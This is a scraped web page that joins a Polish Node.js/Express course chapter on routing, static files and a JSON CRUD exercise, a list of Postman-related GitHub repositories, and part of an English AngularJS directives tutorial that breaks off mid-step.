też w jaki sposób jest skonstruowany. Tym poziomem abstrakcji po prostu nie zawracamy sobie głowy. Używając JavaScriptu nie myślimy w jaki sposób parser analizuje składnię języka. Jeśli nie jest to nam potrzebne, to możemy zająć się tym, co jest dla nas naprawdę istotne - pisaniem aplikacji internetowych! Express to właśnie kolejny, wyższy poziom abstrakcji, dzięki któremu możemy skupić się na właściwym problemie. Zawiera zbiór generycznych (możliwych do zastosowania w wielu miejscach / uniwersalnych) funkcjonalności, które powtarzają się w obrębie każdej aplikacji. Cały zamysł frameworka opiera się na zasadzie - nie wymyślaj koła na nowo, bo można budować na podstawie dobrych, uniwersalnych rozwiązań. Po wykonaniu tego samego zadania wiele razy, człowiek instynktownie szuka sposobu na automatyzację problemu - szczególnie leniwy programista. :) Framework ma niestety jedną wadę, która bywa momentami również zaletą - narzuca programiście sposób w jaki należy rozwiązać problem. Takie podejście z jednej strony nieco nas ogranicza, bo nie pozwala nam 'grzebać' w rozwiązaniu, a z drugiej strony zmniejsza ilość miejsc, w których moglibyśmy popełnić jakiś błąd. Zaletą takiego podejścia jest też to, że programiści korzystający z frameworków często borykają się z podobnymi problemami, przez co łatwo jest znaleźć rozwiązania, bo ktoś już na pewno zetknął się z czymś, co sprawia nam kłopot :) Wracając do Expressa - jest on niewielkim frameworkiem, który daje programiście przyjemną podstawkę do tworzenia aplikacji, ale nie narzuca żadnych praktyk - może o tym świadczyć chociażby fakt, że wiele znanych frameworków opiera swoją budowę na Express. Można do nich zaliczyć przykładowo Loopbacka, Sailsa czy Krakena. Model-View-Controller Ok, wiemy już czym jest framework - pora na pojęcie MVC :) Jest to skrót od ang. Model View Controller (Model Widok Kontroler). Jest jednym z najczęściej przewijających się wzorców architektonicznych w internecie. Popularnością pomału wypiera go architektura Flux, o której coraz częściej słychać (szczególnie w środowisku Reacta), ale o tym wzorcu powiemy sobie jeszcze przy okazji omawiania Reduxa - wróćmy do MVC. Głównym założeniem przyjętym podczas projektowania MVC było oddzielenie warstwy prezentacji od logiki biznesowej aplikacji. To podejście umożliwia tworzenie narzędzi działających bez graficznego interfejsu (zastępuje go wtedy tzw. Command Line Interface, a.k.a. CLI) i jest dalej popularne w środowisku Unixowym. Tak więc: Model jest reprezentacją logiki aplikacji / problemu z jakim się zmagamy / domeną. Widok opisuje w jaki sposób coś wyświetlić. W React są to komponenty (szczególnie te prezentacyjne). Kontroler przyjmuje dane od użytkownika aplikacji i reaguje na jego działania w obrębie widoku. Aktualizuje widok i model aplikacji. O samej architekturze można napisać osobny moduł tym bardziej, że jak już wcześniej wspomnieliśmy bardzo często przewija się on w środowisku front-end developerów i jest częścią składową wielu frameworków. Sama implementacja MVC wymaga wiedzy na temat programowania obiektowego i wzorców projektowych. Zainteresowanych zapraszam do przeczytania tej książki na temat wzorców projektowych stosowanych w JavaScripcie. Express dostarcza wielu funkcjonalności do tworzenia aplikacji webowych. Jak już wspomniałem, ułatwia on przede wszystkim szybki rozwój aplikacji opartych na Node.js. Podstawowymi cechami tego frameworka są: serwowanie plików statycznych za pomocą jednej komendy konfigurowanie middleware, czyli pośrednika między żądaniem a odpowiedzią w momencie, kiedy użytkownik wykonuje jakieś akcje, np. wysyła formularz, middleware może wykonać pewne czynności zanim dane zostaną zapisane. Nie sprowadza się to oczywiście tylko do zapisu danych, ale szerzej na temat tego zagadnienia powiemy sobie w dalszym rozdziale definiowanie tablicy routingu, czyli ścieżek (adresów), które wyświetlają odpowiednie treści, przyjmują i zapisują dane, bądź odpytane o dane zwracają je. Bazują na protokole HTTP oraz URI (ang. Uniform Resource Identifier) pozwala na dynamiczne tworzenie stron HTML bazujących na argumentach przekazanych do istniejących szablonów Nie przejmuj się, jeśli powyższe opisy wydają się być nieco zagmatwane. Kolejne rozdziały rozjaśnią sprawę! Zanim jednak przejdziemy do omawiania poszczególnych funkcjonalności Expressa, przeprowadzimy proces instalacji. Jeśli masz wątpliwości do powyższego materiału, to - zanim zatwierdzisz - zapytaj na czacie :) Zapoznałe(a)m się! 17.2. Instalacja ExpressJS Framework Express instalujemy używając npm, analogicznie do innych pakietów, które dodawaliśmy już we wcześniejszych modułach. Dla przypomnienia, wystarczy, że zainicjujesz swój projekt - npm init, a następnie użyjesz komendy npm install express --save, która zapisze zainstalowany pakiet w katalogu node_modules/ i doda go do sekcji dependencies w pliku package.json. Razem z Expressem należy zainstalować jeszcze jeden ważny moduł - body-parser, który jest pakietem pozwalającym na obsługę różnych formatów danych w middleware takich jak JSON, text czy tzw. surowe dane (ang. raw data). Aby go zainstalować, wpisz npm install body-parser --save. Pierwsza aplikacja w ExpressJS Sprawdźmy teraz, czy wszystko działa tak jak powinno. Testowa aplikacja, jaką stworzymy przy użyciu Expressa, będzie przedstawiała podstawową zasadę działania tego frameworka. Aplikacja uruchomi serwer oraz będzie nasłuchiwać na porcie 3000 w oczekiwaniu na połączenie - dokładnie w taki sam sposób, jak w przypadku serwera HTTP napisanego w “czystym" Node.js. Nasłuchiwanie oznacza nic innego jak oczekiwanie na połączenie - po wystąpieniu żądania, serwer odpowie nam klasycznym “Hello world". Zanim zaczniemy tworzyć aplikację, musimy wytłumaczyć sobie pewne pojęcia. Opis pojęcia routingu Routing to sposób określania jak aplikacja będzie odpowiadać na żądania klienta na dane endpointy przy użyciu konkretnych metod HTTP. Przypomnijmy sobie w jaki sposób wyglądały metody HTTP: GET - najprostsza z metod HTTP - służy do pobierania zasobów z serwera. Pobranymi zasobami mogą być np. pliki HTML, CSS, JavaScript czy obiekty JSON / XML. POST - ta metoda jest używana do wysyłania danych do serwera. Stosuje się ją np. przy formularzach lub przy wstawianiu zdjęć i wysyłaniu ich jako załącznik. Zwykle dane te wysyłane są jako para klucz-wartość. PUT - działa podobnie jak POST, czyli również służy do wysyłania danych. Różnicą jest ograniczenie do wysłania tylko jednej porcji danych - np. jednego pola. Metoda ta najczęściej używana jest do aktualizacji istniejących danych DELETE - metoda, która służy do usuwania danych z serwera. Chodzi oczywiście o dane, które zostały wskazane przy wysyłaniu żądania. Kolejnym pojęciem jest URI (nazywane również PATH) - jest to właśnie wspomniany wcześniej endpoint, który zawiera polecenia do wykonania gdy zostanie wywołany przez żądanie. Czas start! Na początek stwórzmy plik server.js w katalogu z projektem. Po zainstalowaniu powyższych zależności, drzewo projektu powinno wyglądać w następujący sposób: Aby mieć możliwość skorzystania z zainstalowanych zależności, na początku należy zadeklarować zmienną, w której będziemy przechowywać funkcjonalności pakietu Expressa. var express = require('express'); Jak widzisz, każda paczka JS'a działa dokładnie w taki sam sposób. Koncepcja modułów będzie przewijać się aż do końca tego kursu. Następnym krokiem będzie stworzenie aplikacji Express: var app = express(); Naszą aplikację przypisaliśmy do zmiennej app. Teraz możemy sprawić, aby odpowiadała prostym Hello world w momencie, w którym odbierzemy wysłane zapytanie GET na adres strony domowej: app.get('/', function(req, res) { res.send('Hello world'); }); Powyższy kod rejestruje pierwszy routing (proces przetwarzania otrzymanego adresu żądania i na jego podstawie decydowanie, co powinno zostać uruchomione) na wysłane żądanie GET po wejściu na stronę główną ( http://localhost:3000/ ). Jako callback na wystąpienie tego zdarzenia wywoływana jest funkcja, która w przypadku udanej odpowiedzi wyśle wiadomość Hello world. To jednak jeszcze nie koniec. Zarejestrowaliśmy obsługę pierwszego routingu, ale należy zainicjować nasłuchiwanie serwera na to i inne zdarzenia. Dopiszmy więc: var server = app.listen(3000, function() { console.log('Przykładowa aplikacja nasłuchuje na http://localhost:3000'); }); Po zapisaniu powyższego kodu, należy uruchomić go komendą node server.js (lub za pomocą Nodemona, którego poznaliśmy w pierwszym module) - teraz po ponownym wejściu na adres http://localhost:3000/ powinniśmy zobaczyć następujący widok: Jest to znak, że nasza aplikacja działa! Jeśli masz wątpliwości do powyższego materiału, to - zanim zatwierdzisz - zapytaj na czacie :) Zapoznałe(a)m się! 17.3. Route, czyli ścieżka wyznaczona dla użytkownika aplikacji Wykorzystanie endpointów Rozwińmy teraz trochę aplikację stworzoną w poprzednim podrozdziale. Aktualnie kod w pliku server.js wygląda następująco: var express = require('express'); var app = express(); app.get('/', function (req, res) { res.send('Hello world'); }); var server = app.listen(3000, function() { console.log('Przykładowa aplikacja nasłuchuje na http://localhost:3000'); }); Endpointy statyczne Na początek zmodyfikujemy lekko żądanie GET i do strony głównej zamiast Hello world! wpiszmy Hello GET! oraz dodamy linijkę drukującą otrzymane żądanie (po stronie serwera) jak poniżej: app.get('/', function (req, res) { console.log('Otrzymałem żądanie GET do strony głównej'); res.send('Hello GET!'); }); Warto w tym miejscu wspomnieć o narzędziu Postman - możesz pobrać je ze strony https://www.getpostman.com/. Używa się go do testowania endpointów. Postman jest prosty i intuicyjny w obsłudze - wystarczy, że podasz adres oraz metodę HTTP, jakiej chcesz użyć w odpowiednich polach i… już :) Pozostaje tylko wysłanie requesta i sprawdzenie czy response zgadza się z naszymi oczekiwaniami. Dodajmy też inne metody HTTP do naszej aplikacji. Zacznijmy od POST. Dla tej i kolejnej metody wykonamy podobne operacje. Chodzi tutaj o to, aby zaobserwować działanie zarejestrowanych endpointów. app.post('/', function (req, res) { console.log('Otrzymałem żądanie POST do strony głównej'); res.send('Hello POST!'); }); Do tego czasu oba nasze zapytania kierowaliśmy do strony domowej. Dodajmy teraz obsługę żądania z metodą DELETE oraz inną ścieżką: app.delete('/del_user', function (req, res) { console.log('Otrzymałem żądanie DELETE do strony /del_user'); res.send('Hello DELETE!'); }); DLA CHĘTNYCH: Przetestuj powyższe zapytanie w Postmanie! :) Dla praktyki, dodajmy jeszcze kilka innych endpointów, a następnie przejdźmy do testowania. app.get('/list_user', function (req, res) { console.log('Otrzymałem żądanie GET do strony /list_user'); res.send('Strona z listą użytkowników!'); }); app.get('/ab*cd', function(req, res) { console.log('Otrzymałem żądanie GET do strony /ab*cd'); res.send('Wzór pasuje'); }); Po dodaniu powyższych fragmentów kodu zapisz plik server.js, a następnie ponownie użyj komendy node server.js chyba, że używasz Nodemona :) Zerknijmy na endpoint /list_user Otrzymaliśmy to, czego oczekiwaliśmy. Sprawdźmy jeszcze inne. Jeśli jednak użyliśmy endpointa, którego nie zdefiniowaliśmy, otrzymamy odpowiedź jak na ostatnim obrazku. Endpointy dynamiczne Istnieje również inny typ endpointów, które nazywa się dynamicznymi. Używanie ich pozwala na przekazywanie parametrów i bazowanie na nich. Wróćmy na moment do kodu stworzonego na samym początku: var express = require('express'); var app = express(); app.get('/', function (req, res) { res.send('Hello world'); }); var server = app.listen(3000, function() { console.log('Przykładowa aplikacja nasłuchuje na http://localhost:3000'); }); Najpierw zmodyfikujemy trochę bazowy kod. Usuńmy linijki 8-10, które miały nam tylko pokazać podstawowe informacje na temat serwera. Zamiast tego napiszmy po prostu: app.listen(3000); Tworzenie dynamicznego routingu pozwala na przekazywanie parametrów, więc spróbujmy najpierw z przykładowym id. Zamiast odwołać się do strony domowej ('/'), odwołajmy się do zmiennego parametru id. Parametr zmienny od statycznego rozróżnia się poprzez dodanie dwukropka (:) przed nazwę. W naszym przykładzie endpoint będzie więc wyglądał następująco: /:id Zmieńmy jeszcze odpowiedź z Hello world na 'Identyfikator, który został dopisany to ' + req.params.id. Czym jest req.params.id? req jest obiektem reprezentującym zapytanie HTTP (ang. request). Posiada on różne parametry, jak na przykład body (czyli ciało zapytania), nagłówki HTTP oraz parametry (params), które mamy zamiar odczytać. Parametr, który wstawiliśmy jako część adresu w metodzie GET, przekazujemy jako id. W poniższym przypadku wyświetli się komunikat Identyfikator który został dopisany to 123, o ile zapytanie wysłano na adres http://localhost:3000/123. Popróbuj z różnymi innymi parametrami i sprawdź czy aplikacja działa tak, jak tego oczekujesz. Obsługa błędu 404 za pomocą ExpressJS Co jeśli serwer nie rozpozna żądania? W Expressie odpowiedź 404 nie jest wynikiem błędu, więc nie jest wyłapywany w trakcie działania aplikacji. Spowodowane jest to tym, że 404 zwykle oznacza brak możliwości wykonania danej czynności, a nie błąd występujący z powodu jakiejś 'wpadki' programisty. Innymi słowy, Express wykonał wszystkie funkcje middleware (które poznamy w kolejnym rozdziale) oraz route'y i dopiero wtedy dowiedział się, że żaden z nich nie odpowiedział na żądanie - taki przypadek możemy obsłużyć poprzez dodanie funkcji middleware na samym końcu (poniżej pozostałych funkcji), aby obsługiwała status 404. Powróćmy znów do poprzedniego szablonu z metodą GET na stronę domową ('/'), która zwraca nam Hello world!. Dopiszmy teraz metodę middleware, która obsłuży nam błąd 404. Na samym końcu, poniżej fragmentu z nasłuchiwaniem dodajmy obsługę odpowiedzi 404: app.use(function (req, res, next) { res.status(404).send('Wybacz, nie mogliśmy odnaleźć tego, czego żądasz!') }); Po ponownym uruchomieniu skryptu, w przeglądarce powinieneś zobaczyć Hello world!. Spróbuj teraz dopisać coś na koniec adresu (tak jak w poprzednim rozdziale dopisaliśmy id). Powinieneś otrzymać następujący komunikat: Parametr next, który przekazujemy do funkcji jest funkcją, która pozwala “iść dalej" do kolejnej funkcji middleware lub zakończenia żądania. Można w ten sposób stworzyć także obsługę pozostałych błędów. Najczęściej obsługiwane błędy to: 400 - bad request - występuje gdy serwer nie może przetworzyć zapytania 401 - unauthorized - występuje gdy wymagane jest uwierzytelnienie, a nie zostało dostarczone 403 - forbidden - żądanie jest poprawne, jednak serwer odmawia odpowiedzi, może to wystąpić w przypadku gdy np. użytkownik jest zalogowany ale nie ma uprawnień do wykonania żądania 404 - not found - zasoby nie zostały znalezione 500 - internal server error - występuje gdy występują nieznane warunki i nie ma żadnej konkretnej wiadomości Zadanie: Operacje CRUD na pliku JSON Stwórzmy teraz aplikację, która będzie otwierać zewnętrzne pliki .json oraz edytować je. Zanim zaczniemy, w folderze projektu stwórz plik server.js, a następnie zainicjalizuj projekt poprzez wpisanie npm init w konsoli. Przejdźmy do pobrania potrzebnych zależności - tym razem będzie nam potrzebny Express oraz body-parser. Jak się zapewne domyślasz, możesz zainstalować je za pomocą komendy npm install --save express body-parser. Po pobraniu paczek, możemy śmiało przejść do pisania kodu - na początek przypisz zależności do zmiennych w pliku server.js. Dodaj także linijkę var fs = require('fs') - fs będzie nam potrzebny do operacji na plikach. Nie musimy go instalować, bo jest on wbudowany w Node :) Skoro zależności mamy już załatwione, zadeklaruj zmienną app, która wywoła funkcję express() oraz zmienną stringifyFile (na razie bez zadeklarowanej wartości). Tuż pod deklaracją zmiennych dodaj także linijkę app.use(bodyParser.json()); - to pozwoli Ci wykorzystać middleware body-parser, które zainstalowaliśmy przed chwilą. body-parser jest nam potrzebny, aby korzystać z formatu application/json - póki co nie przejmuj się pojęciem middleware, zajmiemy się nim nieco dalej w tym kursie :) Stwórz teraz endpoint GET /getNote, gdzie po wywołaniu zostanie wczytany Twój zewnętrzny plik JSON oraz wyświetlona zostanie jego zawartość. Przykłądowy plik test.json: {"menu": { "id": "file", "value": "File", "popup": { "menuitem": [ {"value": "New", "onclick": "CreateNewDoc()"}, {"value": "Open", "onclick": "OpenDoc()"}, {"value": "Close", "onclick": "CloseDoc()"} ] } }} Metoda która pozwoli nam na odczytanie pliku to readFile, którą można wywołać z zadeklarowanego wcześniej fs. Jako parametry przyjmuje ona najpierw plik, następnie opcje (np. kodowanie) i funkcję, która wywoła się po załadowaniu. W naszym przypadku będzie to więc następujący kod: fs.readFile('./test.json', 'utf8', function(err, data) { if (err) throw err; stringifyFile = data res.send(data); }); Teraz pora na stworzenie endpointa, który po wywołaniu nadpisze nam podany plik. Stworzymy do tego dynamiczny endpoint, który dopisze do pliku string, który przekażemy jako parametr. Stwórz tym razem POST na /updateNote/:note. Po jego wywołaniu tekst, który znajduje się w miejscu /:note powinniśmy dopisać do wczytanego pliku poprzez dodanie req.params.note do zmiennej stringifyFile, która przechowuje aktualną zawartość pliku. Po przypisaniu powyższej zmiennej, należy ponownie odwołać się do modułu fs tym razem używając metody writeFile. Pomoże nam w tym następujący fragment kodu: fs.writeFile('./test.json', stringifyFile, function(err) { If (err) throw err; console.log('file updated'); }); Na końcu pliku dodaj nasłuchiwanie na porcie 3000. Zapisz plik i uruchom aplikację wpisując node server.js w konsoli. Otwórz Postmana, ustaw metodę zapytania na GET, a w pole adresu wpisz http://localhost:3000/getNote. Jako response powinieneś otrzymać Twój stworzony wcześniej plik JSON. Po zmianie z GET na POST oraz wpisaniu /updateNote/test zamiast /getNote oraz wysłaniu requesta, Twój plik JSON powinien zostać zaktualizowany o słowo test :) Po ukończeniu zadania, wrzuć swój kod na Githuba i przekaż link do repozytorium mentorowi :) Podgląd zadania https://github.com/martinproxy0/Zadanie_17_3.git Wyslij link 17.4. Serwowanie plików statycznych Express posiada wbudowaną możliwość serwowania plików statycznych - takimi plikami są na przykład obrazki, pliki CSS czy JS. Aby serwować te pliki statycznie, wystarczy użyć express.static. Pliki statyczne to pliki, które zostają dostarczone do klienta bez generowania, modyfikacji czy przetwarzania - jedyne, co trzeba z nimi zrobić, to przekazać nazwę katalogu, w którym są przetrzymywane, do express.static - to wystarczy aby zacząć je serwować. Spróbujmy przedstawić to sobie na przykładzie. Załóżmy, że przetrzymujesz swoje zdjęcia i pliki CSS w katalogu assets/. Aby zacząć je serwować, możesz więc użyć następującej linijki: app.use(express.static('assets')); Zmodyfikujmy więc całkowicie naszą aplikację. Najpierw stwórzmy w katalogu projektu nowy katalog o nazwie assets/. Wrzućmy do niego jakiekolwiek zdjęcie/obrazek. W pliku server.js wróćmy do poprzedniego stanu (zanim zaczęliśmy zajmować się routingiem): var express = require('express'); var app = express(); app.get('/', function (req, res) { res.send('Hello world'); }); var server = app.listen(3000, 'localhost', function() { var host = server.address().address; var port = server.address().port; console.log('Przykładowa aplikacja nasłuchuje na http://' + host + ':' + port); }); W tym przykładzie sami definiujemy port i adres, ale w prawdziwej aplikacji moglibyśmy tych wartości nie znać. Częstym przykładem jest sytuacja w której adres i port są zdefiniowane w osobnym pliku konfiguracyjnym. Ten plik byłby inny na naszym komputerze niż na serwerze na którym będziemy publikować aplikację - ale nasz kod ma działać w obu lokalizacjach. Dlatego do wyświetlenia linka potrzebowalibyśmy pobrania tych danych za pomocą metody .address(). Pozostaje teraz jedynie w linii nr 3 dodać to, o czym powiedzieliśmy sobie chwilkę temu, czyli linijkę app.use(express.static('assets')); Dla przypomnienia, w nawiasach do express.static przekazujemy katalog, w którym znajdują się pliki, które chcemy serwować. Po zapisaniu pliku server.js, możemy uruchomić aplikację. Teraz, aby zobaczyć nasz obrazek, wystarczy że po http://localhost:3000/ podamy nazwę pliku z rozszerzeniem - u mnie wygląda to tak: Stwórz sobie teraz prosty plik index.html, który będzie miał formularz z dwoma inputami typu text (o nazwach first_name i last_name) oraz jednym typu submit. Element
posiada atrybuty takie jak action oraz method. Atrybut action pozwala określić, gdzie wysłać dane z formularza w momencie, gdy zostanie on zatwierdzony. W naszym przypadku będzie to http://localhost:3000/userform. Atrybut method określa metodę, jakiej chcemy użyć - w naszym przypadku niech będzie to GET. Przykładowo, Twój index.html może wyglądać tak: Node Hello world example

First Name:

Last Name:

Gdy już będzie gotowy, wrzuć go do katalogu /assets. Teraz czas na modyfikację pliku server.js. Najpierw zmieńmy to, co chcemy wysyłać, gdy zostanie wysłane żądanie do strony domowej. Zamień więc res.send('Hello world') na res.sendFile('/index.html') - jak się zapewne domyślasz, res.sendFile() wysyła w odpowiedzi plik zamiast wiadomości. Musimy również dodać obsługę żądania na endpoint, do którego będziemy kierować nasz formularz. app.get('/userform', function (req, res) { const response = { first_name: req.query.first_name, last_name: req.query.last_name }; res.end(JSON.stringify(response)); }); W czasie przetwarzania żądania, tworzymy nowy obiekt response, który ma klucze first_name oraz last_name. Do poszczególnych właściwości przypisujemy dane, które otrzymujemy w obiekcie req (od ang. request), czyli w obiekcie z żądaniem. Na koniec wyświetlamy nasz obiekt przetworzony na typ string za pomocą metody JSON.stringify. Po zapisaniu pliku server.js, aplikacja powinna pokazywać formularz, jak poniżej. Po wpisaniu wartości do inputów i wysłaniu ich, powinieneś zostać przekierowany do strony /userform, a po znaku zapytania powinny zostać wyświetlone parametry umieszczone przez Ciebie w inputach. Zadanie: Żonglujemy danymi pomiędzy endpointami Napisz kod obsługujący formularz zgodnie z wskazówkami z tego submodułu, a następnie wyślij swój kod na repozytorium oraz przekaż go do sprawdzenia mentorowi. Podgląd zadania https://github.com/martinproxy0/Zadanie_17_4.git Wyslij link 17.5. Middleware - pośrednik między żądaniem a odpowiedzią		 0 stars 0 watchers 0 forks
MrZyr0/Quick-API
collection, file, json, node, parse, postman collection, readable, script 		Some node script to parse postman collection into a more readable json file 0 stars 0 watchers 0 forks
Neuromobile/newman-vcs-parser
collection, collections, form, format, mobile, newman, parse, parser, transform, version 		A parser to transform Postman/newman collections to a versionable format 0 stars 0 watchers 0 forks
payal1982/Test-Repository-parseInt-Math.random-10000-
parse, random, test 		This is a test repository created by Postman 0 stars 0 watchers 0 forks
pinguo-lixin/postman
collection, generate, html, markdown, parse, postman collection 		parse postman collection to generate markdown, html etc. 0 stars 0 watchers 0 forks
slpkej/jekshop-api
backend, data, database, express, mongo, mongoose, node, parse, parser, send 		Created a node api using express/bodyparser and mongo and mongoose for the database. Used Postman to send web requests to the backend. 0 stars 0 watchers 0 forks
Swordo/PostMan
express, parse, parser 		Simple Application express Express,Mongoose , body-parser 0 stars 0 watchers 0 forks
treetrunkz/nodeapp
access, accessed, application, dynamic, dynamically, express, install, interface, list, module, modules, mongo, mongoose, multiple, node, nodejs, parse, parser, server, todo, tree, user, users 		This is a nodejs application. It is a todo list that can be accessed and created by multiple users. The API is accessed by Postman. The server and interface is set up to POST and GET dynamically. To populate node_modules `npm install ejs, express, mongoose, body-parser --save -g` + tsc -w 0 stars 0 watchers 0 forks
xraybat/groovy-postman-collection-runner
collection, groovy, json, parse, postman collection, runner, summary 		groovy postman collection runner json parse and summary 0 stars 0 watchers 0 forks

print (25 listings) (Back to Top)

kielabokkie/blueman
collection, file, generate, generated, print 		Convert a generated API Blueprint JSON file into a Postman collection 143 stars 143 watchers 18 forks
thecopy/apiary2postman
apiary2postman, collection, copy, generating, print, rating 		Tool for generating a Postman collection from Blueprint API markup or the Apiary API 0 stars 0 watchers 25 forks
sn0112358/Angular-Directive-Project
access, active, advance, angular, array, boiler, boilerplate, case, changing, check, city, common, complex, config, connection, console, controller, convert, converte, correct, current, data, debug, default, definition, description, developer, directives, directory, display, element, elements, email, ember, essential, event, example, expect, explore, file, find, folder, following, forge, form, format, function, functional, general, home, html, http, import, included, index, information, initial, inject, inside, instance, instruction, invoking, issue, learn, learning, lesson, lines, link, list, listen, location, mail, match, mean, media, method, module, move, named, namely, names, note, object, objects, order, parameter, parent, passing, path, place, play, previous, print, problem, projects, properties, reference, replace, result, reusable, route, router, script, select, sense, service, sets, single, spec, struct, style, talent, talk, template, test, things, to do, tutorial, usable, user, users, variable, weather, whole, wrapper, wrappers, wraps 		Angular-Directive-Project Directives range from very basic to extremely complex. This project will build up to some somewhat difficult directives. Keep in mind that the format we're learning for directives is the same format used to build some extremely complex things in angular. Using directives often and well is one way to show you're a talented developer. Starting Out We've included only a few things for you to begin with. index.html, app.js, styles.css. At this point the best way to get more comfortable with angular is to initialize an app without relying heavily on boilerplate code (reusable code that starts out your projects for you). You'll notice that in the index.html we've included the angular-route CDN. Yes, we'll be using angular's router here. Put an ng-view into your index.html. In your app.js set up a config and set up our first route for when a user is at the '/home' url. If you're having trouble remembering how to set up the router go look at how you set up the router on the previous project. One way these projects will be beneficial to you is allowing you to look back at something *you** did and seeing how you got that something to work.* You may also want add an otherwise that defaults to /home. Create a controller and a template file for this route in your app folder. Don't forget to include the controller as a script in your index.html Check that everything is hooked up correctly. Try adding a div with some text in your home template just to make sure it's showing up. Once you've got that going you're ready to start on some directives. Now let's make our directive. We'll start with a simple one that we can use to display information passed to it. Step 1. Start your directive Woot. When you're initializing your directive just remember that it works very similarly to how you start up a controller or a service. It can also be very helpful to think of your directive as a route. Create your directive. You'll use the directive method on your angular module. It takes two arguments, the name string and the callback function, which will return the object that represents your directive. When naming your directive give it a name with two words; dirDisplay would be nice, but anything works. Just remember it's best practice to give a directive a camel case name so that it's clear in your html what it is. Also we're going to need a template html for our directive. We could do it inline, but let's make another file instead. Just name it something that makes sense for the name of your directive and put it in the same directory as your directive file. For your template just make a and inside a tag that says User. Now in your home route html add in your directive. It will look like this if you named it dirDisplay: Start up your app and go to the home route. Check and make sure you see User where your directive was placed. If you're not seeing it at this point it could mean a few things. Here's some more common issues. You didn't link your directive in your index as a script. Your name for your directive doesn't match the name in your html. Remember camel case becomes snake case so myDirective becomes . You're file path to your html template is wrong. You have to think of file paths in angular as relative to the index. Here's some code to see just for this part, and just for the directive's js file. var app = angular.module('directivePractice'); app.directive('dirDisplay', function(){ return { templateUrl: 'app/directives/dirDisplay.html' }; }); What we're returning is the directive object. You won't see anymore code in this tutorial so it's important you get things working right and refer back to what you've already done to advance from now on. Step 2. Advancing directives Your directive should be loaded up now, but it's not really doing much. Let's make it better. In your home controller. Make a variable on your $scope called user. Set it's value to { name: "Geoff McMammy", age: 43, email: "[email protected]" } Now inside your directive's html specifically inside the tags display our new user's name. Then inside maybe some tags display his email and age. This is going to work exactly the same as if it was just inside your home controller. Reload the page and make sure it works. This is still very cosmetic and really not all that useful. It needs functionality. Add into your directive's object the link property. The link property's value is a function definition that takes (generally) three parameters. scope, element, and attributes. Unlike in other places with angular injection these parameter names don't carry meaning. The first parameter will always represent your $scope for that directive, the second will always be the element that wraps your whole directive, and the third will always be an object containing all the properties and values of the attributes on your directive in the dom. Try the following to get a feel for all three. Add two attributes to your directive in your html. Like this - Now in the link property you've added console.log the three parameters in the function. You'll see an object for scope that should look identical to the $scope of your html function. For element you'll see an object the represents the DOM wrapper for your directive. For attributes you'll see an object that will look like this: { test: "myTest", myCheck: "checkItOut" } An important thing to notice is how it has again converted snake case to camel case for you. my-check became myCheck. Don't forget this. You'll run into this issue one day. It counts for both attributes and directive names. To feel some of what the link function could do let's try this. Add a ng-show to both the email and age wrappers. This should be familiar to you. Now inside your link function add a click event listener to your element property. It's going to look just like jQuery. element.on('click', function(){ }) Inside the click listener's callback add a toggle for the ng-show property you passed in. Along with a console.log to make sure things are connecting when you click. Try it out. Don't call for a mentor when it doesn't work. Let's talk about that first. You should see the console.log firing, but why isn't it toggling. This is going to be a common problem when working with the link function and event listeners. What we have here is an angular digest problem. The value is changing on the scope object, but the change isn't being reflected by our DOM. That's because angular isn't aware of the change yet. Anytime we cause an event to happen using something like jQuery or even angular's jQLite we need to let angular know that we've made a change. Add this line of code in place of your console.log, scope.$apply(). Now try it out. It should be working now, so if you're still having issues it's time to debug. What we've done is forced angular to run it's digest cycle. This is where angular checks the scope object for changes and then applies those to the DOM. This is another good lesson to learn for later. You'll most likely hit this when making changes to your element using event listeners. Step 3. Directive's re-usability. Now our directive has some extremely basic functionality. One of a directive's greatest advantages though is its ability to be placed anywhere and still be functional. Let's say instead we had a list of users instead of just one. Change the $scope property in your home controller to be users and give it this array as its value: [ { name: "Geoff McMammy", age: 43, email: "[email protected]", city: "Provo" }, { name: "Frederick Deeder", age: 26, email: "[email protected]", city: "Austin" }, { name: "Spencer Rentz", age: 35, email: "[email protected]", city: "Sacramento" }, { name: "Geddup Ngo", age: 43, email: "[email protected]", city: "Orlando" }, { name: "Donst Opbie Leevin", age: 67, email: "[email protected]", city: "Phoenix" } ] Now in your home HTML add a ng-repeat to the directive call. Tell it to repeat for each user in users. Reload your page. It's working! But why? How does each directive instance know what information to display? In the link function console.log the scope parameter. Make sure it's outside of your click listener. You'll see five print outs in your console. Open up any one of them and look to the bottom. Open up the user property. It's exactly what we would want! But again why would that be the case? Don't get too caught up in this next bit if it's too hard to understand, but the ng-repeat is essentially making new tiny scope objects for each individual user in our users array. Now each of our directives is still getting a user property on the scope object just like the directive wanted in the beginning. Woot. Step 4. Ramp it up with Isolate Scope. Directives can do so much more. So let's make that happen. That means we should make.... a new directive!!! This directive's purpose will be to display a selected User and the weather in his/her/its location. Link it up just like the last one. Create a js file for our directive and name it dirWeather. Make an html file named dirWeather.html. Link it up in your index.html and add the template to your new directive object. In your directive's template give it an tag that says Weather just so we can know it's working. Above your ng-repeat on dirDisplay add your new dirWeather directive. If it's not working check the instructions above as to some common reasons why before asking a mentor for help. If you're seeing the Weather text on your page then we're ready to try out the dreaded Isolate Scope. The isolate scope object is one of the stranger API's in angular. I'm sorry but it is. Just refer to this for now. scope: { string: '@', link: '=', func: '&' } The properties on the scope object represent the attributes on the directive in the html. Our example scope object here would look something like this in the html. The hard part here is the @, =, and &. They each have very important and distinct meanings. @ says take in my attribute value as a string. = says take in my attribute value as a two-way bound variable from the parent scope. & says take in my attribute value as a reference to a function on the parent scope. It's also critical to point out that once you add a scope object you have no isolated your directive's scope. Meaning, aside from the values passed in through attributes, this directive has no connection to the $scope of its parent. That being said let's isolate our directive's scope. :worried: Add the scope property to your dirWeather. Give it the value of an object with a property of currentUser whose value is '='. Remember in your html this will look like current-user. This is the third time I've said so don't expect it again. This means that whatever comes into the currentUser attribute is going to be a value of the parent's scope object. For now test this out by passing in users[0]. Find a way to show that users information inside your dirWeather's html. Remember inside your directive now the user is represented by currentUser. Step 5. &? &!? The '=' value on your scope object has created a two-way binding between users[0] and currentUser. Now let's try out the '&'. On your home controller add a function called getWeather. It takes one parameter called city. This function will make a call to a service so we'll need to create that. Make a weather service. Name it something cool and creative like weatherService. Inside the weather service make a function called getWeather that also takes one parameter, city. Make an $http get to this url - 'http://api.openweathermap.org/data/2.5/weather?q=' After the q= add on the city parameter. If you want you can test this out in postman. See what kind of data you get back. If it's the weather of that city then... you win! Use $q to return a promise that only resolves with the data you want. Temperature (preferably not in Kelvin) and the weather description. Use console.log on the data coming from the $http request to get to what you want. You'll need to add both on an object that you resolve your new promise with. On your home controller have it return the result of invoking the get getWeather function on the 